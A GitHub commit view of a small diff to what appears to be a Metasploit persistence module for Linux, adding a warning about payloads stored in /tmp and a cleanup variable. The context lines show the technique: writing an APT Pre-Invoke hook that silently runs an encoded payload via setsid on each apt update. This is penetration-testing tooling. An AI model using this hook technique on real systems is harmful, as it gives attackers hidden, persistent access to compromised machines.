File tree Expand file tree Collapse file tree 1 file changed +3
-0
lines changed
modules/exploits/linux/persistence Expand file tree Collapse file tree 1 file changed +3
-0
lines changed Original file line number Diff line number Diff line change @@ -67,6 +67,8 @@ def check
6767 return CheckCode ::Safe ( 'apt-get not found, likely not an apt based system' ) unless command_exists? ( 'apt-get' )
6868 return CheckCode ::Safe ( "#{ datastore [ 'HOOKPATH' ] } not found" ) unless exists? ( datastore [ 'HOOKPATH' ] )
6969 return CheckCode ::Safe ( "#{ datastore [ 'HOOKPATH' ] } not writable" ) unless writable? ( datastore [ 'HOOKPATH' ] )
70+
71+ print_warning ( 'Payloads in /tmp will only last until reboot, you want to choose elsewhere.' ) if datastore [ 'WritableDir' ] . start_with? ( '/tmp' )
7072 return CheckCode ::Safe ( "#{ datastore [ 'WritableDir' ] } not found" ) unless exists? ( datastore [ 'WritableDir' ] )
7173 return CheckCode ::Safe ( "#{ datastore [ 'WritableDir' ] } not writable" ) unless writable? ( datastore [ 'WritableDir' ] )
7274
@@ -78,6 +80,7 @@ def install_persistence
7880 hook_path = datastore [ 'HOOKPATH' ]
7981 hook_path << ( datastore [ 'HOOKNAME' ] || "#{ rand_text_numeric ( 2 ) } #{ rand_text_alpha ( 5 ..8 ) } " )
8082
83+ @clean_up_rc = ''
8184 if payload . arch . first == 'cmd'
8285 hook_script = %(APT::Update::Pre-Invoke {"setsid #{ payload . encoded } 2>/dev/null &"};)
8386 else
You can’t perform that action at this time.
0 commit comments